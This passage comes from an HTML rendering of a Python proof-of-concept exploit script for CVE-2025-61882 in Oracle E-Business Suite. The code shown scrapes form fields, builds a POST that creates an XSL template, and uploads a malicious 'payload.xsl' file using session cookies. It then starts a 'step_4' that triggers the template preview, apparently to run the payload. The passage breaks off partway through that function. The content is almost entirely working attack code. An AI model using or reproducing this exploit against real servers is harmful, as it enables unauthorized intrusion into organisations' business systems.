          <td id="file-ebs_cve-2025-61882_poc-py-LC207" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">full_url</span> <span class="pl-c1">=</span> <span class="pl-s">f"<span class="pl-s1"><span class="pl-kos">{</span><span class="pl-s1">url</span><span class="pl-kos">}</span></span><span class="pl-s1"><span class="pl-kos">{</span><span class="pl-s1">action_url</span><span class="pl-kos">}</span></span>"</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L208" class="blob-num js-line-number js-blob-rnum" data-line-number="208"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC208" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">else</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L209" class="blob-num js-line-number js-blob-rnum" data-line-number="209"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC209" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">full_url</span> <span class="pl-c1">=</span> <span class="pl-s1">action_url</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L210" class="blob-num js-line-number js-blob-rnum" data-line-number="210"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC210" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L211" class="blob-num js-line-number js-blob-rnum" data-line-number="211"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC211" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">payload</span> <span class="pl-c1">=</span> {}</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L212" class="blob-num js-line-number js-blob-rnum" data-line-number="212"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC212" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">for</span> <span class="pl-s1">tag</span> <span class="pl-c1">in</span> <span class="pl-s1">soup</span>.<span class="pl-c1">find_all</span>(<span class="pl-s">'input'</span>, <span class="pl-s1">type</span><span class="pl-c1">=</span><span class="pl-s">'hidden'</span>):</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L213" class="blob-num js-line-number js-blob-rnum" data-line-number="213"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC213" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">name</span> <span class="pl-c1">=</span> <span class="pl-s1">tag</span>.<span class="pl-c1">get</span>(<span class="pl-s">'name'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L214" class="blob-num js-line-number js-blob-rnum" data-line-number="214"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC214" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">value</span> <span class="pl-c1">=</span> <span class="pl-s1">tag</span>.<span class="pl-c1">get</span>(<span class="pl-s">'value'</span>, <span class="pl-s">''</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L215" class="blob-num js-line-number js-blob-rnum" data-line-number="215"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC215" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">if</span> <span class="pl-s1">name</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L216" class="blob-num js-line-number js-blob-rnum" data-line-number="216"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC216" class="blob-code blob-code-inner js-file-line">            <span class="pl-s1">payload</span>[<span class="pl-s1">name</span>] <span class="pl-c1">=</span> <span class="pl-s1">value</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L217" class="blob-num js-line-number js-blob-rnum" data-line-number="217"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC217" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L218" class="blob-num js-line-number js-blob-rnum" data-line-number="218"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC218" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">temp_type_val</span> <span class="pl-c1">=</span> <span class="pl-s">""</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L219" class="blob-num js-line-number js-blob-rnum" data-line-number="219"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC219" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">temp_type_select</span> <span class="pl-c1">=</span> <span class="pl-s1">soup</span>.<span class="pl-c1">find</span>(<span class="pl-s">'select'</span>, <span class="pl-s1">id</span><span class="pl-c1">=</span><span class="pl-s">'TempType'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L220" class="blob-num js-line-number js-blob-rnum" data-line-number="220"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC220" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">if</span> <span class="pl-s1">temp_type_select</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L221" class="blob-num js-line-number js-blob-rnum" data-line-number="221"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC221" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">for</span> <span class="pl-s1">option</span> <span class="pl-c1">in</span> <span class="pl-s1">temp_type_select</span>.<span class="pl-c1">find_all</span>(<span class="pl-s">'option'</span>):</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L222" class="blob-num js-line-number js-blob-rnum" data-line-number="222"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC222" class="blob-code blob-code-inner js-file-line">            <span class="pl-k">if</span> <span class="pl-s">"XSL-HTML"</span> <span class="pl-c1">in</span> <span class="pl-s1">option</span>.<span class="pl-c1">text</span>: </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L223" class="blob-num js-line-number js-blob-rnum" data-line-number="223"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC223" class="blob-code blob-code-inner js-file-line">                <span class="pl-s1">temp_type_val</span> <span class="pl-c1">=</span> <span class="pl-s1">option</span>.<span class="pl-c1">get</span>(<span class="pl-s">'value'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L224" class="blob-num js-line-number js-blob-rnum" data-line-number="224"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC224" class="blob-code blob-code-inner js-file-line">                <span class="pl-k">break</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L225" class="blob-num js-line-number js-blob-rnum" data-line-number="225"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC225" class="blob-code blob-code-inner js-file-line">    </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L226" class="blob-num js-line-number js-blob-rnum" data-line-number="226"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC226" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">if</span> <span class="pl-c1">not</span> <span class="pl-s1">temp_type_val</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L227" class="blob-num js-line-number js-blob-rnum" data-line-number="227"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC227" class="blob-code blob-code-inner js-file-line">        <span class="pl-en">print</span>(<span class="pl-s">"[-] Warning: Could not find XSL-HTML option in TempType."</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L228" class="blob-num js-line-number js-blob-rnum" data-line-number="228"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC228" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L229" class="blob-num js-line-number js-blob-rnum" data-line-number="229"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC229" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">def_out_val</span> <span class="pl-c1">=</span> <span class="pl-s">""</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L230" class="blob-num js-line-number js-blob-rnum" data-line-number="230"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC230" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">def_out_select</span> <span class="pl-c1">=</span> <span class="pl-s1">soup</span>.<span class="pl-c1">find</span>(<span class="pl-s">'select'</span>, <span class="pl-s1">id</span><span class="pl-c1">=</span><span class="pl-s">'DefaultOutputType'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L231" class="blob-num js-line-number js-blob-rnum" data-line-number="231"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC231" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">if</span> <span class="pl-s1">def_out_select</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L232" class="blob-num js-line-number js-blob-rnum" data-line-number="232"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC232" class="blob-code blob-code-inner js-file-line">         <span class="pl-k">for</span> <span class="pl-s1">option</span> <span class="pl-c1">in</span> <span class="pl-s1">def_out_select</span>.<span class="pl-c1">find_all</span>(<span class="pl-s">'option'</span>):</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L233" class="blob-num js-line-number js-blob-rnum" data-line-number="233"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC233" class="blob-code blob-code-inner js-file-line">            <span class="pl-k">if</span> <span class="pl-s">"PDF"</span> <span class="pl-c1">in</span> <span class="pl-s1">option</span>.<span class="pl-c1">text</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L234" class="blob-num js-line-number js-blob-rnum" data-line-number="234"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC234" class="blob-code blob-code-inner js-file-line">                <span class="pl-s1">def_out_val</span> <span class="pl-c1">=</span> <span class="pl-s1">option</span>.<span class="pl-c1">get</span>(<span class="pl-s">'value'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L235" class="blob-num js-line-number js-blob-rnum" data-line-number="235"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC235" class="blob-code blob-code-inner js-file-line">                <span class="pl-k">break</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L236" class="blob-num js-line-number js-blob-rnum" data-line-number="236"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC236" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L237" class="blob-num js-line-number js-blob-rnum" data-line-number="237"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC237" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">apply_btn_id</span> <span class="pl-c1">=</span> <span class="pl-s">"ApplyButton"</span> </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L238" class="blob-num js-line-number js-blob-rnum" data-line-number="238"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC238" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">apply_btn</span> <span class="pl-c1">=</span> <span class="pl-s1">soup</span>.<span class="pl-c1">find</span>(<span class="pl-s">'button'</span>, <span class="pl-s1">id</span><span class="pl-c1">=</span><span class="pl-s">'ApplyButton'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L239" class="blob-num js-line-number js-blob-rnum" data-line-number="239"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC239" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">if</span> <span class="pl-s1">apply_btn</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L240" class="blob-num js-line-number js-blob-rnum" data-line-number="240"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC240" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">onclick_text</span> <span class="pl-c1">=</span> <span class="pl-s1">apply_btn</span>.<span class="pl-c1">get</span>(<span class="pl-s">'onclick'</span>, <span class="pl-s">''</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L241" class="blob-num js-line-number js-blob-rnum" data-line-number="241"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC241" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">match</span> <span class="pl-c1">=</span> <span class="pl-s1">re</span>.<span class="pl-c1">search</span>(<span class="pl-s">r"'_FORM_SUBMIT_BUTTON':'([^']+)'"</span>, <span class="pl-s1">onclick_text</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L242" class="blob-num js-line-number js-blob-rnum" data-line-number="242"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC242" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">if</span> <span class="pl-s1">match</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L243" class="blob-num js-line-number js-blob-rnum" data-line-number="243"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC243" class="blob-code blob-code-inner js-file-line">            <span class="pl-s1">apply_btn_id</span> <span class="pl-c1">=</span> <span class="pl-s1">match</span>.<span class="pl-c1">group</span>(<span class="pl-c1">1</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L244" class="blob-num js-line-number js-blob-rnum" data-line-number="244"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC244" class="blob-code blob-code-inner js-file-line">            <span class="pl-c"># print(f"[+] Found Apply Button ID: {apply_btn_id}")</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L245" class="blob-num js-line-number js-blob-rnum" data-line-number="245"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC245" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L246" class="blob-num js-line-number js-blob-rnum" data-line-number="246"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC246" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">payload</span>.<span class="pl-c1">update</span>({</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L247" class="blob-num js-line-number js-blob-rnum" data-line-number="247"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC247" class="blob-code blob-code-inner js-file-line">        <span class="pl-s">'TempName'</span>: <span class="pl-c1">TEMPLATE_NAME</span>,   </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L248" class="blob-num js-line-number js-blob-rnum" data-line-number="248"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC248" class="blob-code blob-code-inner js-file-line">        <span class="pl-s">'TemplateCode'</span>: <span class="pl-c1">TEMPLATE_NAME</span>,      </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L249" class="blob-num js-line-number js-blob-rnum" data-line-number="249"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC249" class="blob-code blob-code-inner js-file-line">        <span class="pl-s">'ApplicationName'</span>: <span class="pl-s">'Application Report Generator'</span>,</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L250" class="blob-num js-line-number js-blob-rnum" data-line-number="250"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC250" class="blob-code blob-code-inner js-file-line">        <span class="pl-s">'ApplicationId'</span>: <span class="pl-s">'168'</span>,</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L251" class="blob-num js-line-number js-blob-rnum" data-line-number="251"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC251" class="blob-code blob-code-inner js-file-line">        <span class="pl-s">'ApplicationShortName'</span>: <span class="pl-s">'RG'</span>,</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L252" class="blob-num js-line-number js-blob-rnum" data-line-number="252"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC252" class="blob-code blob-code-inner js-file-line">        <span class="pl-s">'DsDataSourceName'</span>: <span class="pl-s">'FSG program'</span>,</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L253" class="blob-num js-line-number js-blob-rnum" data-line-number="253"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC253" class="blob-code blob-code-inner js-file-line">        <span class="pl-s">'TempType'</span>: <span class="pl-s1">temp_type_val</span>,</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L254" class="blob-num js-line-number js-blob-rnum" data-line-number="254"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC254" class="blob-code blob-code-inner js-file-line">        <span class="pl-s">'StartDate'</span>: <span class="pl-s">'14-Jan-2000'</span>,</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L255" class="blob-num js-line-number js-blob-rnum" data-line-number="255"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC255" class="blob-code blob-code-inner js-file-line">        <span class="pl-s">'LanguageName'</span>: <span class="pl-s">'English'</span>,</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L256" class="blob-num js-line-number js-blob-rnum" data-line-number="256"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC256" class="blob-code blob-code-inner js-file-line">        <span class="pl-s">'DefaultOutputType'</span>: <span class="pl-s1">def_out_val</span>,</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L257" class="blob-num js-line-number js-blob-rnum" data-line-number="257"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC257" class="blob-code blob-code-inner js-file-line">        <span class="pl-s">'_FORM_SUBMIT_BUTTON'</span>: <span class="pl-s1">apply_btn_id</span>,</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L258" class="blob-num js-line-number js-blob-rnum" data-line-number="258"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC258" class="blob-code blob-code-inner js-file-line">        <span class="pl-s">'event'</span>: <span class="pl-s">''</span>,</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L259" class="blob-num js-line-number js-blob-rnum" data-line-number="259"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC259" class="blob-code blob-code-inner js-file-line">        <span class="pl-s">'source'</span>: <span class="pl-s">''</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L260" class="blob-num js-line-number js-blob-rnum" data-line-number="260"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC260" class="blob-code blob-code-inner js-file-line">    })</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L261" class="blob-num js-line-number js-blob-rnum" data-line-number="261"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC261" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L262" class="blob-num js-line-number js-blob-rnum" data-line-number="262"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC262" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">files</span> <span class="pl-c1">=</span> {</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L263" class="blob-num js-line-number js-blob-rnum" data-line-number="263"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC263" class="blob-code blob-code-inner js-file-line">        <span class="pl-s">'AttachData_oafileUpload'</span>: (<span class="pl-s">'payload.xsl'</span>, <span class="pl-c1">XSL_PAYLOAD</span>, <span class="pl-s">'text/xml'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L264" class="blob-num js-line-number js-blob-rnum" data-line-number="264"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC264" class="blob-code blob-code-inner js-file-line">    }</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L265" class="blob-num js-line-number js-blob-rnum" data-line-number="265"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC265" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L266" class="blob-num js-line-number js-blob-rnum" data-line-number="266"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC266" class="blob-code blob-code-inner js-file-line">    <span class="pl-en">print</span>(<span class="pl-s">f"[*] Sending POST request to create XSL template '<span class="pl-s1"><span class="pl-kos">{</span><span class="pl-c1">TEMPLATE_NAME</span><span class="pl-kos">}</span></span>'..."</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L267" class="blob-num js-line-number js-blob-rnum" data-line-number="267"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC267" class="blob-code blob-code-inner js-file-line">    </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L268" class="blob-num js-line-number js-blob-rnum" data-line-number="268"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC268" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">headers_step3</span> <span class="pl-c1">=</span> <span class="pl-c1">HEADERS</span>.<span class="pl-c1">copy</span>()</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L269" class="blob-num js-line-number js-blob-rnum" data-line-number="269"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC269" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">if</span> <span class="pl-s">"Content-Type"</span> <span class="pl-c1">in</span> <span class="pl-s1">headers_step3</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L270" class="blob-num js-line-number js-blob-rnum" data-line-number="270"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC270" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">del</span> <span class="pl-s1">headers_step3</span>[<span class="pl-s">"Content-Type"</span>]</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L271" class="blob-num js-line-number js-blob-rnum" data-line-number="271"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC271" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L272" class="blob-num js-line-number js-blob-rnum" data-line-number="272"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC272" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">try</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L273" class="blob-num js-line-number js-blob-rnum" data-line-number="273"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC273" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">r</span> <span class="pl-c1">=</span> <span class="pl-s1">requests</span>.<span class="pl-c1">post</span>(<span class="pl-s1">full_url</span>, <span class="pl-s1">headers</span><span class="pl-c1">=</span><span class="pl-s1">headers_step3</span>, <span class="pl-s1">cookies</span><span class="pl-c1">=</span><span class="pl-c1">COOKIES</span>, <span class="pl-s1">data</span><span class="pl-c1">=</span><span class="pl-s1">payload</span>, <span class="pl-s1">files</span><span class="pl-c1">=</span><span class="pl-s1">files</span>, <span class="pl-s1">verify</span><span class="pl-c1">=</span><span class="pl-c1">False</span>, <span class="pl-s1">proxies</span><span class="pl-c1">=</span><span class="pl-c1">PROXY</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L274" class="blob-num js-line-number js-blob-rnum" data-line-number="274"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC274" class="blob-code blob-code-inner js-file-line">                </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L275" class="blob-num js-line-number js-blob-rnum" data-line-number="275"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC275" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">if</span> <span class="pl-s">"successfully created"</span> <span class="pl-c1">in</span> <span class="pl-s1">r</span>.<span class="pl-c1">text</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L276" class="blob-num js-line-number js-blob-rnum" data-line-number="276"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC276" class="blob-code blob-code-inner js-file-line">             <span class="pl-en">print</span>(<span class="pl-s">"[+] XSL Template successfully created!"</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L277" class="blob-num js-line-number js-blob-rnum" data-line-number="277"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC277" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">else</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L278" class="blob-num js-line-number js-blob-rnum" data-line-number="278"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC278" class="blob-code blob-code-inner js-file-line">             <span class="pl-en">print</span>(<span class="pl-s">"[-] Application returned an error."</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L279" class="blob-num js-line-number js-blob-rnum" data-line-number="279"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC279" class="blob-code blob-code-inner js-file-line">             </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L280" class="blob-num js-line-number js-blob-rnum" data-line-number="280"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC280" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">return</span> <span class="pl-s1">r</span>.<span class="pl-c1">text</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L281" class="blob-num js-line-number js-blob-rnum" data-line-number="281"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC281" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L282" class="blob-num js-line-number js-blob-rnum" data-line-number="282"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC282" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">except</span> <span class="pl-v">Exception</span> <span class="pl-k">as</span> <span class="pl-s1">e</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L283" class="blob-num js-line-number js-blob-rnum" data-line-number="283"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC283" class="blob-code blob-code-inner js-file-line">        <span class="pl-en">print</span>(<span class="pl-s">f"[-] Request failed: <span class="pl-s1"><span class="pl-kos">{</span><span class="pl-s1">e</span><span class="pl-kos">}</span></span>"</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L284" class="blob-num js-line-number js-blob-rnum" data-line-number="284"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC284" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L285" class="blob-num js-line-number js-blob-rnum" data-line-number="285"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC285" class="blob-code blob-code-inner js-file-line"><span class="pl-k">def</span> <span class="pl-en">step_4</span>(<span class="pl-s1">url</span>, <span class="pl-s1">html_content</span>):</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L286" class="blob-num js-line-number js-blob-rnum" data-line-number="286"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC286" class="blob-code blob-code-inner js-file-line">    <span class="pl-en">print</span>(<span class="pl-s">"[*] Starting Step 4: Triggering Template Preview..."</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L287" class="blob-num js-line-number js-blob-rnum" data-line-number="287"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC287" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">soup</span> <span class="pl-c1">=</span> <span class="pl-en">BeautifulSoup</span>(<span class="pl-s1">html_content</span>, <span class="pl-s">'html.parser'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L288" class="blob-num js-line-number js-blob-rnum" data-line-number="288"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC288" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L289" class="blob-num js-line-number js-blob-rnum" data-line-number="289"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC289" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">form</span> <span class="pl-c1">=</span> <span class="pl-s1">soup</span>.<span class="pl-c1">find</span>(<span class="pl-s">'form'</span>, <span class="pl-s1">id</span><span class="pl-c1">=</span><span class="pl-s">'DefaultFormName'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L290" class="blob-num js-line-number js-blob-rnum" data-line-number="290"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC290" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">if</span> <span class="pl-c1">not</span> <span class="pl-s1">form</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L291" class="blob-num js-line-number js-blob-rnum" data-line-number="291"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC291" class="blob-code blob-code-inner js-file-line">        <span class="pl-en">print</span>(<span class="pl-s">"[-] Error: Cannot find form DefaultFormName"</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L292" class="blob-num js-line-number js-blob-rnum" data-line-number="292"></td>
